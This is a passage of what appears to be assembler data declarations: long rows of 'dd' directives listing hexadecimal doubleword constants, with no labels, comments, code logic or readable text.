0D0E7F453h, 0B34F390Ah dd 0F455EEAEh, 0F6A0FDB9h, 0AC8ED1Dh, 826ED96h, 7F933296h dd 6241A375h, 0AEA377C2h, 9DDA6C20h, 0D8701007h, 708699C6h dd 0F9CD7553h, 0E47D8EB7h, 0B16FBA89h, 322DB56h, 861E1BCBh dd 8AF44BD0h, 3721B1D4h, 56145818h, 0FA1492D7h, 3833F3BFh dd 8C114677h, 8CBEF7A7h, 17EC4403h, 5B70913h, 0B7212C39h dd 379B4874h, 3D88EF83h, 6386D69Eh, 0EADFF636h, 0E86A2086h dd 38F42114h, 0ED665CCFh, 16F3AEF4h, 0E04079C2h, 0F8303885h dd 2DD40073h, 0E743CA95h, 5A925AE6h, 3335D1A3h, 4F98CD69h dd 5B5CA89Bh, 0AC382E3Fh, 8947924Fh, 0E2797DCEh, 640CD935h dd 0B55D1D2h, 9B5552C7h, 0C4572C18h, 43A37BAh, 0DBD85FFh dd 64DF100Dh, 93EE3AE9h, 0CD2BE88Ch, 9A88E3F5h, 0DAF9B74Fh dd 8AAF8F9h, 0F24AFE1Dh, 834033h, 0C2906DF1h, 33861ED9h dd 83A5EEB2h, 5AB2EC4Bh, 8BA64502h, 10FA74D7h, 3526EEA8h dd 0E21154A7h, 0CB8A549Ah, 0CF8FD304h, 558F8FFFh, 0BC93D6Ch dd 7DA77F1Dh, 83872844h, 41DFEF95h, 180F8FA7h, 51B92172h dd 63239A78h, 203C5902h, 0E62ECD9Ah, 963FECEDh, 0B138A688h dd 0C732A038h, 6C988D29h, 6D95574Bh, 5EA42928h, 59520FE4h dd 0D9B3FF6Ah, 0D2C37F1Eh, 8E3CE2FCh, 0DA8A6799h, 7AD259D6h dd 0D46C33F9h, 0EA08434Fh, 0F380CA16h, 93AB5C98h, 9588553Fh dd 0B62D5275h, 0C5764C26h, 6C38B9Ah, 0C6184EDAh, 51409D86h dd 0A493B7CBh, 2DAC01Bh, 0D74FD53Eh, 4FEAD54Bh, 437E8721h dd 0F2602675h, 0B6876A9h, 7216311Ah, 1644C051h, 11B39063h dd 686FCFE3h, 0E923A25Bh, 23B63C6Dh, 0F32F1C1Dh, 99A86630h dd 0ED5F3419h, 79FF3249h, 3CC7AC4Ah, 0FDFC72B9h, 88E729D1h dd 730214Eh, 38E45F03h, 87695AC0h, 0B165671h, 1CC12049h dd 0A43361E0h, 69FC09C2h, 2AEB6E36h, 5DC558EEh, 47CBCADDh dd 2B33F26Dh, 0E90236E0h, 9C1EBD83h, 8FCA2885h, 0E1DEEBFDh dd 73A0C1E7h, 0CB5AE826h, 0C7E0FFFFh, 0DC8C0DA4h, 7BC09922h dd 1DB6EF17h, 2C5D5A1Bh, 0ECD45DC4h, 513EFF1Dh, 0A406FFB9h dd 2B707262h, 50104F28h, 88B3D2BDh, 0EAE6BB1Ch, 0BF5EAA44h dd 7722D8EBh, 6017D283h, 0BD80014Dh, 216214A4h, 46D23694h dd 0E1D5E5AAh, 0A272E248h, 0E52CA3ACh, 75C8F7F6h, 552536F8h dd 1899329Dh, 7487A2D9h, 7ADFB8B4h, 0A2B42262h, 4590195Fh dd 1B6D6B7Ch, 70F8B040h, 4BB7E62Fh, 197A969Ch, 0A34AB9BEh dd 61C82C7Dh, 24C5B6BAh, 60FF5FDh, 0C9609D2Dh, 0A1E69D28h dd 6FF845C2h, 96C7DEDh, 63F75218h, 5BD9D05Bh, 23768567h dd 558C9E31h, 69789B6Eh, 4C81BC7Ah, 3BF32831h, 0BE307E2Ah dd 5807FF93h, 0C7852396h, 7D351245h, 0C6E838F3h, 163FF660h dd 0B51A582h, 1E28A746h, 3FC7D5C6h, 577657F3h, 0B01B6BD5h dd 0C146F4A3h, 0A08F7498h, 9C4B937Dh, 370C012Dh, 0DEFC38F6h dd 558105F7h, 0DC3E2544h, 234DA47Ah, 71042A00h, 0ABE6BDE6h dd 2454DE6Fh, 0EF95F038h, 0A05E6867h, 42BAD384h, 7C1C9ADDh dd 0B372058Fh, 7611D8h, 7D590FC2h, 0B86FC6E8h, 0BCA6563Eh dd 0E9FB7B4Bh, 0B769D674h, 0B973B3FBh, 18F73682h, 552D2DBBh dd 0D4CE8ABh, 92F0419Ch, 0CFDDBB0Ah, 629D2494h, 0C0A755EEh dd 3B2A7116h, 0A951C91Fh, 0A908E9E4h, 0DDF4A460h, 0A7C1FCD3h dd 0A01295CBh, 5755A7E6h, 51D6B3A5h, 0F8EB049Dh, 67D4AB30h dd 0F492AB2Bh, 3B31D4C1h, 0B8FABD31h, 2DD197C9h, 63467600h dd 9F77914Fh, 0FB874DA6h, 0D2FBB304h, 724C387Dh, 0E5F38E34h dd 9CA419E3h, 39A09BA6h, 0F878898Ch, 0D8F468AFh, 0ACE8C22Ch dd 1FDCE050h, 2F792EF7h, 0D778D2Ch, 82371764h, 0F4083248h dd 9D5DF2D9h, 20871366h, 0E743501Ch, 13E88F45h, 0FEB5DB7Fh dd 3226BC7Ch, 0B64C5BB7h, 0CCD8480Dh, 849318CBh, 80570CCCh dd 491A2451h, 623D7F65h, 101AA0CAh, 58014297h, 163772F8h dd 20EBAEFDh, 0A0E2A568h, 88A7E229h, 388E3C49h, 3281E5F1h dd 6CBC88F4h, 23269CA7h, 11D868AFh, 8372B981h, 18DCC9BEh dd 0E0981DC1h, 6F5DAF8Ch, 0F08C361Eh, 7C3609DDh, 164496A3h dd 0C8774A82h, 0F9EFB9B7h, 1428B60Fh, 85F8DD30h, 0F5E5B83Dh dd 0A2F7B2A6h, 6757B5FAh, 0EFE618EDh, 0F731FB17h, 23B69B8Dh dd 74F5283Fh, 38546FD2h, 0A6DF6081h, 4A1B7ECh, 91E673D3h dd 0F48A143Fh, 0FE2EA54Ah, 32E2CCB3h, 53678260h, 62C065B2h dd 0FF6EB209h, 0C9F9DE6Ah, 595269C4h, 2759E300h, 0E08B6048h dd 8A8AA0B6h, 54BA58B4h, 1EF53216h, 311E196Eh, 0D1D962B6h dd 6213ABA6h, 5A0C9FA7h, 0BAD88501h, 472E4528h, 0FDB9A26Ch dd 0A820DA1Fh, 1EF50D9Bh, 0DDFE28E6h, 6E5C96BDh, 0E6AEC403h dd 0E01BF0F3h, 26D66DADh, 0AB22B72Ch, 0F0A5C4F5h, 0E328EE77h dd 23DCCC6Dh, 9F96151Ch, 331CA48Dh, 0B3C2834Eh, 0C768AFA1h dd 1B4F4494h, 0AC30ECBFh, 0DD4857BFh, 7BD6F303h, 963D93B4h dd 2090AFA7h, 0C7D2A278h, 26350F84h, 0B94444FAh, 5FACE9CDh dd 0D75B1FEBh, 0D8E87C65h, 5A1AEAB5h, 0C6E7D32Dh, 323622E7h dd 0C174329Fh, 96DC14Ah, 0D3EE215Fh, 0C7077608h, 1787E38Ch dd 43207912h, 3C210716h, 9A1CB293h, 0A8750336h, 29D47C01h dd 0E33355FCh, 0A39A8D76h, 135EB791h, 6F5A6B19h, 98EF1D50h dd 379E90E3h, 432E421Ah, 0D8CE249Eh, 9D07765Eh, 2F51B2Fh dd 69FAB01Bh, 0B229D3D4h, 17A11A89h, 163C6EA6h, 761DE7F4h dd 3ED42B95h, 0E3C2437Dh, 0AAD28C2Ah, 4B05C22Fh, 82284D2Ah dd 5CA6D0C9h, 0ADCD4E2Ah, 0FBF969EAh, 0D99528FAh, 0AC2CE52Dh dd 6C8325Bh, 1C8F597h, 2A6AB6D8h, 7A38200Ch, 5B10596Fh dd 98D241CFh, 0BA0FC1F1h, 91643902h, 0CF311Ah, 28A5EC47h dd 95242472h, 49D14BF7h, 0E697E819h, 500E1D95h, 7C46550Dh dd 48C840F4h, 3BEA89FFh, 46A164E7h, 9BFB1A94h, 0EA5EFDE4h dd 0D36F402Eh, 0F52339B7h, 620E4012h, 0D59B23F8h, 89DF757Fh dd 77F0D833h, 0BF9DA55Fh, 0F4AC2270h, 517DC52Eh, 0E5F98E88h dd 8E9F4D05h, 35CCAEDEh, 72273A8Ch, 4D4DAC70h, 6DAF1DF5h dd 0BFB95D1Ch, 31E20D7Ch, 9067B34Dh, 46FC1398h, 9B6E9721h dd 0D8A2824Dh, 0B283AF25h, 94660E54h, 0AF923Eh, 0C09FD2CEh dd 0DF8F36F8h, 22C8B5A6h, 55DBB577h, 447EFA93h, 0E94F85B8h dd 9FC909Bh, 9BC34F8Ah, 16B0C75h, 0C97DD751h, 7FDF94CDh dd 11339FD4h, 0CB0CB915h, 7431A068h, 0C3F549F0h, 0DE50D4D1h dd 1FC3C9B2h, 25BC3CE4h, 4CC8E037h, 0A2A69706h, 0FB33D9C3h dd 14A40F16h, 0A61DBF57h, 3F110FEAh, 9A1D9F49h, 2925D1Fh dd 85732719h, 0D305AAE1h, 3BD461C4h, 22970A50h, 20E93517h dd 18191BDFh, 3B6E18FFh, 5A4BA8AFh, 968A8D82h, 231D3158h dd 864768E1h, 9B355BCBh, 0CD940B8Ah, 36D24865h, 9362FDA3h dd 852B05ACh, 2853A0ADh, 0FFC7CAA6h, 0DAA20B86h, 372E5FE5h dd 0AEE655F0h, 0DB9551D9h, 0A9082EF2h, 86030D09h, 152862C2h dd 65CB8234h, 0B62C3EF7h dd 7271EDAh, 0F7749BCAh, 0C2E09DABh, 3EBBF482h, 3F5E9780h dd 5A9D72B0h, 69293952h, 977FF3BFh, 0FB17DC91h, 0E0F772F5h dd 9032BDA5h, 47CA6FB0h, 0F44119Ah, 4E4F84ABh, 2AB5A317h dd 33051641h, 0ABCFB493h, 5E0A02C3h, 0E54A6A2h, 0A23E3DDCh dd 0AD2990Ah, 0A78AAADEh, 5652328Fh, 67E8A588h, 151BC3ECh dd 0E5BD1B10h, 6CE508C0h, 6089A5B2h, 1BC58DB9h, 4CF7BEC5h dd 8C0C3923h, 0D69DD417h, 0E626F3h, 49B29239h, 0EFDAFEB4h dd 9E23A488h, 0AD563367h, 169B2E79h, 806D87A5h, 4337C347h dd 3BB3B0F7h, 9B48AF14h, 0FB1317F0h, 7DB6E383h, 0DC7A8DE4h dd 9572571Dh, 0E4F0DAE7h, 0B1C58DB0h, 0B9892885h, 7A42928h dd 0C52F3B95h, 0D4EDB16Bh, 0CB6CEF5Fh, 2090D820h, 527BD568h dd 7FCF7C53h, 80622ADEh, 122FF8ECh, 36F812E5h, 0EAEDC8F3h dd 0DFA14DB3h, 0EB464835h, 0E3A47C9Bh, 0E61C1B45h, 0A9A2A272h dd 48D3ED38h, 5A286517h, 9E61B1BDh, 0E05062DAh, 0C1BE6236h dd 0A963168h, 2A6EB2CEh, 9FF8359Fh, 626165E9h, 7A392D2Dh dd 1A087517h, 76FE5E46h, 0E02BE463h, 0B5493E00h, 0E633D164h dd 1F29CCDAh, 6341E8A3h, 0CDEAEEA4h, 0D2FD7615h, 8F75B6EBh dd 48EFB46Fh, 0F7AF785Dh, 0E2EAA0F2h, 0FCC1AB6Fh, 28921854h dd 0B548E4CCh, 0A5863433h, 5E3F356Ch, 6B7B8574h, 1705DDB6h dd 0F0F1BB98h, 4606B124h, 9C20D812h, 4C87F588h, 0F93C75D5h dd 0D2E624C3h, 8300CC01h, 1632FCDCh, 2E9DD194h, 0ADAF852Eh dd 29A93C6Ch, 0A0127601h, 5D7475FEh, 0E2707138h, 4FA780A0h dd 5767B3D0h, 0FC55038Bh, 0F042A4E8h, 33BAA5C8h, 0E15B99FFh dd 0D9E88913h, 0EA5E595Fh, 4BA56C5Fh, 4D4AD45Bh, 771AC85Ah dd 0A7D5645Ch, 7489DBC4h, 31DB022h, 76B3981Ah, 0F99F3332h dd 22F50032h, 4FC88F80h, 2C7610D1h, 9BD54E26h, 8EDBD965h dd 69FF2105h, 31C17385h, 5E82CCCCh, 9C120EB1h, 1C4B823Bh dd 0B86F8B8Eh, 4C4BD7C5h, 3386E282h, 1A2A536h, 202ADFE4h dd 0ABAC3E20h, 3124E9AFh, 1585C1A1h, 83A1C855h, 6BE05D60h dd 4E88BE2Bh, 5156F72Fh, 0BB6FC9C4h, 115A5992h, 189E9BEDh dd 0EA60D743h, 0EB146470h, 0AD30198Dh, 5BB13145h, 5DF5FF97h dd 0BC0D7AE6h, 0AD9EFC61h, 35FA6032h, 0D7D96CA7h, 30285707h dd 0A27B42E6h, 4EF13C5Bh, 0C7FCBA3Ch, 362FDBC3h, 35A768CCh dd 83B4FA71h, 0E04F648Ch, 0C05BD836h, 3BC3769Ah, 165C6E63h dd 6669EC93h, 0F0F25A1Fh, 943A0A21h, 8877D863h, 0F399D965h dd 2C20A6D8h, 0F6C1E9B2h, 7A48CD32h, 69B59CE5h, 4C0A9B5Fh dd 0C00AF767h, 0A732BD15h, 0F2BB3CA0h, 182E4DC7h, 2A9F4FD2h dd 77ACF5E3h, 0A9F31E79h, 0E3F23FEh, 0A7E5528Ah, 0FEA6BFA8h dd 0C777E080h, 559DC1EEh, 0A8318A6Ah, 6519EA87h, 0A8BBAE71h dd 15BA084Dh, 1377963Fh, 38AB588Bh, 0E51360Eh, 0A298990Dh dd 151F028Ah, 2B563064h, 4E1C4946h, 8E3B3479h, 2DA027D7h dd 0BB44BD15h, 69658712h, 111BA6F7h, 698F47FAh, 7E39E722h dd 6C4550D4h, 0C6BB6B4Fh, 0A68F529Fh, 0F5B43362h, 9D40C6BAh dd 0B25B12FAh, 0B82A1C7Fh, 6061216Ah, 0E60869C2h, 84F43A60h dd 0B51245DCh, 0C2102A1h, 0BBA4F87Fh, 21CEB085h, 0A4F76C7Bh dd 0C82FCE74h, 0FC03D762h, 316D37FDh, 9B655263h, 0CC597D4Ch dd 1619BB32h, 726DCC95h, 38ECAB71h, 20EB14E5h, 0BD2F2F4Ah dd 2668897Eh, 95794BA8h, 0BF3D94F7h, 0A7FFF5EDh, 2C717984h dd 342600A6h, 2BF2F490h, 0F5417FE0h, 92FE579h, 0C0E4F6E0h dd 0F040CC16h, 7C591973h, 7CA08D74h, 0F477E955h, 0C7141120h dd 0DA4E711Ch, 7470D63Ah, 0A1ADDC36h, 2DB41F3Bh, 4A6CCED0h dd 998C216Ah, 822C2E9Dh, 82484766h, 0E00F4362h, 71E379C1h dd 14B12442h, 4462EC60h, 8145982Ah, 0B85B6E36h, 0BFBA77B8h dd 6445E376h, 296ABDA4h, 0DC61805Eh, 95258EC4h, 0A6B9FCEDh dd 835D6B76h, 5AECB08Ch, 89A5615Ch, 0DAB52D50h, 309E1278h dd 5F58F742h, 0EDD0D46Bh, 4F12925Bh, 0C47ED78Eh, 130D38C2h dd 6524DE69h, 6961894Ah, 0C7F3921Bh, 793CD470h, 0C8615E2Dh dd 58C7E4AFh, 0AFDD3AB8h, 51F5F58Bh, 909CE1C7h, 709DA8C6h dd 66824E49h, 0FDB30CC7h, 0B632D006h, 501D1527h, 0C3BC5126h dd 21F3F1ACh, 1A7A6DD4h, 7424DFECh, 6F3E0422h, 4B28CA22h dd 9DEDDA3Bh, 2183C5FAh, 0B5E1160Eh, 74B459D9h, 0C5EE0C3Dh dd 0E6553003h, 51AFFE3Bh, 62635103h, 0B3067138h, 0E8E199A0h dd 37B3650Fh, 193D89F7h, 0B41AD31Bh, 0ECF3DDAh, 0A77E4E5Dh dd 0C7F2097Bh, 0F6348AEh, 0BE3E6FB4h, 0BEEB46C1h, 43F24D2Ch dd 0CCAE16ADh, 2D5A3F5Ch, 2E24B934h, 7F26740Bh, 0B9A262F5h dd 6082BEF5h, 132D51F3h, 1C921161h, 6896751Fh, 0B5B958C7h dd 9B9F0D55h, 0BF8B716Eh, 1102DAD6h, 7C904F93h, 0D3B07926h dd 4126693Fh, 0FD5DE856h, 0DA3CE29h, 0F915A99Ah, 0A988F76Fh dd 5A604BFCh, 34053E40h, 0E588BC6Ah, 70FCC30Fh, 0FBD4F0A8h dd 4AF8BC9Fh, 2CD62C7Ch, 0D8750B88h, 5BA9BAEDh, 0ED2D288Ah dd 76B8C195h, 4316311h, 0C848F3Eh, 7E6BB06Dh, 0F67D4E58h dd 56E3C841h, 878BC11Dh, 9C2C905Dh, 0C5A481E7h, 9591AB04h dd 0F9B4D12Eh, 0AC933A8Dh, 0BB9099E1h, 48B4C032h, 498C3F79h dd 66877853h, 815662FFh, 0D0D1BB0h, 9F2612E6h, 4ED1948Ah dd 5AB7A6CFh, 6192F713h, 0B9C3B879h, 83964E78h, 0D4512A2Ch dd 295D4CE5h, 3D904075h, 1CEE8CCAh, 6C49776h, 0E3B7E428h dd 508FC312h, 21847EBBh, 0D4FDED93h, 0E0826190h, 8C4D8CA4h dd 0ED4A385Fh, 0F3CF3BC6h, 8E90FB0Eh, 6E7B0D2Fh, 1AB2DB3Dh dd 0D14CBB7h, 0A79DEE58h, 85E2AFC3h, 2E2E2EEDh, 38403D74h dd 87E14A40h, 0D309B027h, 48453241h, 0A5E4D36h, 34E5BD31h dd 11F0167h, 0C93885C0h, 27A6ABBDh, 0BED7981Fh, 43301DAh dd 8CF8307Fh, 4085484Fh, 0C61F1642h, 7607A791h, 58E544D2h dd 0FFD4D3B6h, 0ED1D325Bh, 0CA806B9Dh, 0D10F0399h, 0AE95C322h dd 7BD149A9h, 158491EFh, 5C1876FCh, 0A900EDC0h, 0FAE75CBFh dd 0D5A8BD40h, 8200A70Ch, 0D47FD855h, 34C4FAD4h, 0ED182720h dd 2C4C35DEh, 537D26E6h, 0F9DF900Eh, 50C7F37Dh, 4892DD1Bh dd 70BF5849h, 64071BF6h, 0ABEADB46h, 0A8A9E81Ch, 0AE066201h dd 0CBB202D4h, 8D614ED5h, 0EFB3159Bh, 0B158887Fh, 0AA359005h dd 58E2071Ah, 190CB03Eh, 0DB950279h, 817FB75Bh, 74C38EFCh dd 4BA5B37h, 40E08964h, 537D8343h, 68633F38h, 0C5D60F71h dd 0C7F5C663h, 9D622A51h, 3B387561h, 416B5875h, 8D82552Dh dd 0DD17EA2Fh, 732BF132h, 54A6615Eh, 0DA086F31h, 0E0B250EDh dd 0DE8A85EAh, 0F6729EE1h, 9AE7358Eh, 6FFE8620h, 0DD65A716h dd 533CE7B3h, 581A1C64h, 0EC000C1Eh, 925431F8h, 0B88F0D5h dd 21E9B124h, 64C58B3Ch, 72A2CFAh, 523A459Dh, 40AA92AAh dd 3CA0FBB4h, 437480Eh, 0C0663F96h, 9A5C5662h, 6F8FFBF4h dd 0BC55FE81h, 60405CE0h, 2C7ADB26h, 0DBBA0A90h, 0E8652593h dd 0B594997Eh, 0F29C89A6h, 8C6962BEh, 5DBA1B66h, 0CA09D1EDh dd 3DB60BBAh, 1CBD50Ch, 0F2E40711h, 0BA61F5E5h, 352EC8DEh dd 0A27DB8ACh, 7C9ADA52h, 0F14E0151h, 538A6091h, 0ADC73C9Ah dd 0F7642F19h, 0F7028F13h, 8AAF1015h, 0FDCB65B7h, 9829F319h dd 0C35ECD16h, 684E82BFh, 0F61F0542h, 63C3DC3Ch, 85F32855h dd 12384E03h, 3AA4AD37h dd 2758FBCEh, 9C000AD2h, 458E5DF9h, 8F95FD75h, 690A1CAh dd 6DBB0684h, 16F2694h, 38C38C90h, 1A4C3CD0h, 0C66C4E6Ah dd 97D1E1E4h, 0E0FF769Eh, 0C0264BFCh, 0CC41BF94h, 4B0186CDh dd 0BFA1EA30h, 0BA6F5FD7h, 1C4D346Eh, 226CBE1Bh, 1206E6D7h dd 2F0F6160h, 0BE698FCh, 2C0882B4h, 9596FF94h, 0B56AF46Bh dd 6473D088h, 0B8DF33ADh, 0B2F5CC49h, 6EB39D3Bh, 0EF7F9952h dd 0C9F0FD56h, 0EDE1474Fh, 4F65D579h, 42FB9452h, 399147A0h dd 7C1226DDh, 687945C5h, 0C69C33D4h, 7452F62h, 7B07FEC8h dd 0CBAC845Ch, 0B520795Bh, 20F76211h, 0A2FA3CDDh, 0B3504C99h dd 98777D2Eh, 0C2970F61h, 6F341641h, 0C3C28E83h, 9C282B87h dd 317E7D71h, 3A8694BCh, 50538305h, 0EA61CA12h, 4E12534Bh dd 8F249DA1h, 85F1225h, 0DC039825h, 0F941E577h, 5E6F9E8Bh dd 6C6AC918h, 0F11A9FD5h, 0CE4D310Dh, 8230CE07h, 0E8C85A9Eh dd 12D4956Dh, 3CFA29F2h, 156C7D3Fh, 0ABC1C6C2h, 8B8E076Ch dd 0E6A3E4BFh, 0C12FDCDBh, 41F60596h, 25865914h, 463F94BAh dd 1DA87668h, 1BC7927h, 6103A2A7h, 0CE693BD6h, 668E7336h dd 0AACCF7C2h, 85916A38h, 7FC21EA1h, 6CCAE044h, 0C99B61CBh dd 0ABE61B62h, 0B2063F6Ah, 0FDC46DCFh, 0E91F210Ah, 723918B9h dd 1847D19h, 2EE8A6F9h, 389A6D9Eh, 0BBB2BFF8h, 5A45CEh dd 87BF46ABh, 0AA4C4ABFh, 35FED869h, 350A1C9Dh, 3A6F5961h dd 0B212A69Ch, 45DC36E3h, 706BA5D9h, 36A0D714h, 5C94DDE8h dd 0C16FE602h, 4B091421h, 0F8B33CCh, 2385CACEh, 22CD17BCh dd 4ADC7353h, 0F582E01h, 1248B55Ch, 0EFD5C894h, 0A3A8C0C5h dd 5ED09250h, 3B74ECB7h, 30E40CBBh, 0B5A552C5h, 46BAAFBDh dd 0A1106108h, 82B2BF70h, 8FA94B7h, 0D7A9A340h, 63D312BEh dd 1DF8D010h, 0A3601045h, 0BD8953C0h, 5FEC7E80h, 871074FCh dd 9B0999DEh, 15A70C10h, 16E7C6EDh, 0DF6B9467h, 0A36C4E13h dd 3F2DAD91h, 0DC7E21D3h, 558B1D5h, 230CA602h, 0D9BD688Eh dd 0F206C638h, 0A3A2010Bh, 972F72DDh, 0F3E5AA12h, 78BADD42h dd 0C2F212F5h, 7C4C8AF0h, 1110CD29h, 0E6064C60h, 0A978FC5Fh dd 0BABA685Bh, 8E56DE8Eh, 5B65EE9Fh, 2BD563EAh, 0CF374408h dd 0BCE6C8BFh, 2FB2097h, 86934F1Ch, 0DC41A216h, 0B3833253h dd 0F51AB9CAh, 0A056B850h, 0E57A6CF7h, 5B5C2CAFh, 0F13D7F0Bh dd 39B5515Eh, 42488C9Dh, 0B76B3363h, 0D83FB189h, 0C4D545D6h dd 9CCF2162h, 0B19A63BCh, 0EAE017ECh, 6549AA08h, 632FB89Ch dd 0C39827A2h, 957DB200h, 125B70D5h, 63C68F2Ah, 4241A884h dd 99F6DD66h, 0E48FF62Ah, 90339EFDh, 34D3B49Eh, 0D8CF89A2h dd 29E72158h, 66D50B08h, 0E0C594ECh, 0B37ACCB8h, 573C33DEh dd 0C89C62DBh, 743809BEh, 0FC733182h, 654C0E97h, 0EC6CE742h dd 0F5142474h, 3287CAA8h, 34A478Fh, 0D7F7EC17h, 400E39A1h dd 432888Ch, 46594B02h, 47AACA74h, 0B351FD83h, 0CF9DA563h dd 0D982E446h, 0D31770A1h, 0A5B5487Ah, 0AFD8E218h, 58B205AFh dd 0AB6A9356h, 1F000714h, 0E9D85679h, 0E8C0020Ch, 9BF600BCh dd 0D84AB8B0h, 0BC7599CDh, 0CA82CB06h, 5157812Fh, 0BBB4C7B8h dd 0B578F33Dh, 0A0CAC606h, 587FCCF1h, 0C2EE3409h, 106EEFBh dd 0DF6D45B4h, 6C168C5h, 151F30ABh, 3457A130h, 0BB17E668h dd 0F4475856h, 7A3FBB8Fh, 73BCA36Fh, 0F91E88D1h, 3C9616FAh dd 86A341C1h, 0A82D6D7Eh, 0CB12B798h, 50283F0Dh, 16322BB2h dd 3766E460h, 7781E3EFh, 7F13BBFh, 8C1C624h, 0D25F8A2Ch dd 0C11527F4h, 0C1E9210Ah, 86DF2F0Ah, 0E83876D4h, 399334BCh dd 88AEB04Ah, 441C5371h, 1E09F79Fh, 1FDD403Bh, 95D93ACCh dd 49F2D079h, 0AA21F993h, 0E246C112h, 6B8E5AB2h, 0A4AB444Ch dd 89AA1915h, 916F0EF3h, 0EAEB421Fh, 4D97F4F9h, 0D64FAB06h dd 0D978375Eh, 0ED00661Fh, 3718F715h, 9A8DEE95h, 4F8E7D1Eh dd 0ADACCD40h, 1DE154BFh, 8DEBF4FFh, 291E0448h, 5E32923Eh dd 5F9E5AA9h, 447B4893h, 824C4A9Dh, 0EF05F4B3h, 0E0286685h dd 0ED137E91h, 10F2D245h, 52DD18A2h, 0C7D1860Ah, 347F6D51h dd 0E5129BD6h, 0ECAD310Ah, 9F15F8FAh, 0CA0143A9h, 0B335D63Eh dd 4A013022h, 0BE22197Ah, 0CE406AB3h, 0ED78062Fh, 89FB2AFBh dd 0D45D4FA2h, 5FA222EDh, 2651DEF5h, 0BBC6B49Eh, 0C37AB7E2h dd 83F1943Bh, 8F933E7Dh, 5D48DE92h, 0BFC6B3A5h, 0E0947020h dd 0CBB05ABAh, 6A3E9D3Ch, 0D7E9D1E8h, 9B8D1963h, 21D7D979h dd 57E6335Ch, 63D56022h, 0FE65DCE2h, 7F5421C9h, 15C2DB8Dh dd 80DBECCCh, 0C0515760h, 8CE5DB63h, 1468E043h, 0E14BE46Ah dd 0C291E0C0h, 0A815890Fh, 292271A5h, 1592C862h, 0B977CD95h dd 938AF0B9h, 5A5AFF1Bh, 0B96E11Ah, 78A7C527h, 94912513h dd 58501DA3h, 2126ADF2h, 0EFE62A43h, 97DEC8DDh, 0A0B40C0Bh dd 9332E080h, 0EA836D09h, 11B95513h, 0BDDCA114h, 0C3F1988h dd 875FF3F0h, 64BAC285h, 0AB6E44D3h, 6FD7A364h, 7B360F2Fh dd 0D4A3D8EFh, 0BA34E036h, 0A144C347h, 10036A12h, 4CEAD03Eh dd 0E88932D3h, 5CE1B7C7h, 78C99477h, 968BB600h, 0E113CFB6h dd 6380CCA4h, 251E898Bh, 2BD50D45h, 89200B2Ch, 3FC537A8h dd 55AACF4Fh, 0EE74E216h, 0C3DE5420h, 8BC194F9h, 0ED27A828h dd 0A07240BFh, 0EA1BA018h, 0B1CFF6C3h, 1B87F702h, 0DB0FEFC5h dd 0B1EE548Eh, 0D86B2344h, 90A5B0Ch, 58B015E7h, 6AAB086Ch dd 49868F21h, 0B0997CD5h, 0B1352587h, 0F7A938Bh, 0BBFAA18h dd 0B9952BEh, 974334Dh, 0C64BE2B0h, 0E582D34Dh, 0DCE51B57h dd 0AF96AF1Bh, 4AF49386h, 25E82804h, 39114F5Ah, 66581FC9h dd 9C878501h, 2D6007Eh, 9A08F8FFh, 302EE73Fh, 0FCB17FAFh dd 0A214975Ah, 91F51983h, 0AE064E76h, 0BF8B3D5Dh, 535FBBBCh dd 96555B85h, 241D43E4h, 0E2902EEEh, 5902ADCCh, 27F64521h dd 0EF42799Eh, 6711E308h, 0ACE94362h, 52CB0C1Eh, 0B28C0D95h dd 910EA90Bh, 6A05479Ah, 7B7D4A10h, 97589DACh, 3A5D2924h dd 0E27FB2C2h, 0F0D10417h, 8BAC643h, 40A6063h, 3B4A66E4h dd 2E27809Ah, 0A2A9D59Eh, 0C3A26FAAh, 94A1354Bh, 9E68C98Bh dd 817B6D10h, 20EEF5E2h, 531E619h, 0CA66FD0Eh, 0DD27E73Eh dd 30A9129Dh, 9B199101h, 0A06CAB08h, 0AAE4C489h, 0BE0B7822h dd 0C65C7608h, 0CB28DDB3h, 8D3783BBh, 429DC3Bh, 0BFE03EB4h dd 0E79F7AE5h, 3814E4C9h, 0BD3818C8h, 0E7CE22A2h, 0A7CBF659h dd 0EE36C20Ch, 0FB190310h, 0CDBF0D9Dh, 0E9DAD456h, 4AB8CCC4h dd 0CABE08A9h, 0AC7A523h, 24BB090Ah, 7EE20115h, 0E44D4122h dd 20F7C63Ch, 0E225E9C5h, 45C7A6A3h, 0BAEC05A8h, 0B8238A1Ch dd 0B1EFB830h, 26794616h, 28E63D4h, 8D2AF218h, 8A0CD9BEh dd 0EBFEC1F3h, 46B462CAh, 898CA9A0h, 0B1DAD874h, 4C00A9B4h dd 52AC6074h, 57FDC4EBh, 3052EA1Ch, 64F4E697h, 15AAAF87h dd 0EBF4779Ah, 65583E0Ch, 399E5B47h, 37D46ABBh, 1CCFE4F4h dd 33673891h, 3BD111ABh, 3F0ABC44h, 0D7A23F32h, 8E564711h dd 7678A7B5h, 1784704Dh, 4B3A6265h, 66F26316h, 58A4AA80h dd 2E0F7E8Dh, 0DFF84F6h, 9C1A8222h, 61593A6Dh, 0A0F9315Ch dd 615F0786h, 9F1F5868h, 3A8555DBh, 0D12A51C8h, 406BD42Ch dd 0BE01075Fh, 29389B0Eh, 64DB3695h, 0E49DF42Bh, 42538027h dd 0D337318Dh, 6FE5E7D5h, 2F9A8ECCh, 6D015F72h, 58ECE6B9h dd 1E0A1E90h, 2CE3BB6Eh dd 4C907985h, 48F4B93Ch, 6E4BBB94h, 85AEDDD0h, 0AC96769Dh dd 0B8040BF1h, 20735DF8h, 75A28733h, 5BC69185h, 0B16338E5h dd 776F68B9h, 6260934Dh, 32124B47h, 8E64A9FEh, 507A73DBh dd 38A205E2h, 1770980Ch, 3683A6B0h, 93FB9941h, 4C980836h dd 0B7DF9C1Eh, 0ACDE6F7h, 81A6150Ch, 0D253FE72h, 7401CA09h dd 0FD95EC78h, 0F267D2CBh, 0CDD96D61h, 0CECB822Bh, 0E4964557h dd 0C9D799Fh, 777A7162h, 0C03942BDh, 9CAF356Eh, 9021AE62h dd 1C6214F6h, 34D512B1h, 718F14FBh, 0F9610E1Bh, 16B03B33h dd 0C0C8ADA5h, 0FBD98D66h, 5D9334E6h, 0B1DBA471h, 0C13F8AEFh dd 907A6D6Eh, 5DFAC97Fh, 0CA69F43Bh, 0C75F7FAFh, 42E0A278h dd 9406A1A6h, 0B21564C3h, 0B88A3D9Fh, 9CFE469Ch, 0BCFB61E0h dd 69F5752Fh, 0C47A16E4h, 66883E7Bh, 0D25AE868h, 6F9A438Ah dd 16EA8BBEh, 0F248CFEAh, 578ADE45h, 0F6C0D1DDh, 81BB7689h dd 0AF3878EDh, 85BF2Fh, 3532DDFBh, 82FDB240h, 